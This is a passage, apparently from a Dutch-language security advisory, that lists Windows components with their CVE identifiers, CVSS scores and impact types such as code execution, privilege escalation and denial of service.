Uitvoeren van willekeurige code     | \n| CVE-2026-50417 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50482 | 7.30 | Uitvoeren van willekeurige code     | \n| CVE-2026-50494 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50667 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50668 | 6.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50672 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56175 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56182 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Overlay Filter: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54987 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50435 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50409 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Notification: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50337 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50334 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50406 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Image Acquisition: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50315 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Media Foundation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54993 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58610 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-56189 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57090 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57094 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-57087 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56186 | 8.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56181 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nCode Integrity DLL (ci.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50491 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Hub Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50479 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48564 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50370 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50518 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50685 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-50683 | 8.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56159 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-58627 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows App Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48572 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-48571 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50400 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58526 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Virtual Filtering Platform (VFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50432 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49787 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50420 | 6.20 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Networking: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58628 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50437 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Storage Spaces Direct: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49168 | 6.20 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50299 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Codecs Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57083 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50387 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Interface Core: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50454 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Internal Task Bar: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50293 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34346 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50312 | 4.70 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50462 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-57093 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Redirected Drive Buffering: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50372 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50447 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50505 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Model: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50331 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Certificate Services (AD CS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54121 | 8.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Spaceport.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50333 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50298 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Devices Human Interface: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50310 | 4.70 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Audio Class driver (usbaudio.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49794 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50453 | 6.10 | Toegang tot gevoelige gegevens      | \n| CVE-2026-58528 | 6.80 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Group Policy: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50391 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Filtering Platform (WFP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50405 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54129 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54127 | 7.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50485 | 4.50 | Denial-of-Service                   | \n| CVE-2026-50680 | 8.20 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nActive Directory Federation Services (AD FS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54983 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50695 | 7.50 | Denial-of-Service                   | \n| CVE-2026-56155 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50304 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50368 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50324 | 5.90 | Denial-of-Service                   | \n| CVE-2026-50355 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50411 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50647 | 7.50 | Denial-of-Service                   | \n| CVE-2026-50684 | 4.80 | Voordoen als andere gebruiker       | \n| CVE-2026-58529 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50476 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50469 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows MIDI Service Module: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50342 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56187 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft NAT Helper Components (ipnathlp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58537 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Wireless Wide Area Network Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50450 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50509 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58635 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows OLE: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50686 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows WebView: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56173 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56194 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56648 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56649 | 5.90 | Uitvoeren van willekeurige code     | \n| CVE-2026-56650 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Netlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50500 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows Speech: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49171 | 7.50 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Brokering File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49162 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50305 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50361 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50466 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50458 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Connected User Experiences and Telemetry: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50421 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42975 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54990 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50330 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50474 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-50504 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows File Explorer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33842 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-40422 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-41087 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50473 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50442 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50389 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50456 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-57084 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49783 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Graphics Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50296 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50493 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55001 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54119 | 7.50 | Denial-of-Service                   | \n| CVE-2026-54115 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50682 | 7.10 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49183 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50689 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50393 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50396 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows FTP Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49172 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50321 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server Network Transport Driver (srvnet.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57089 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows CryptoAPI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55144 | 7.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49181 | 7.50 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54128 | 8.40 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Operating Systems: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50335 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50317 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50418 | 5.10 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Web Proxy Auto-Discovery Protocol (WPAD): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49800 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50480 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50346 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44806 | 5.30 | Denial-of-Service                   | \n| CVE-2026-50302 | 4.20 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50352 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50681 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Client-Side Caching (CSC) Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58637 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Server Backup: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50364 | 7.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nSQL Server ODBC driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42990 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50490 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58540 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DWM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-58541 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50303 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50378 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Event Logging Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34348 | 6.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-50502 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nExtensible Storage Engine (ESENT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-57088 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50428 | 7.10 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows USB Print Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55000 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54111 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54991 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-54996 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49802 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-49806 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-50674 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58543 | 6.30 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SMB Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50360 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-56168 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nComposite Image File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50381 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Internal System User Profile: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50425 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clip Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50384 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows USB Video Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49804 | 6.60 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Help Defense: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-55014 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Printer Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49166 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-55004 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Clipboard User Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50488 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft XML Core Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50359 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Unified Consent System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50326 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56176 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows PowerShell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40400 | 8.00 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50694 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Sensor Data Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58619 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50369 | 8.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-58626 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Server Network driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56188 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Domain Controller: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50424 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Local Security Authority Subsystem Service (LSASS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                          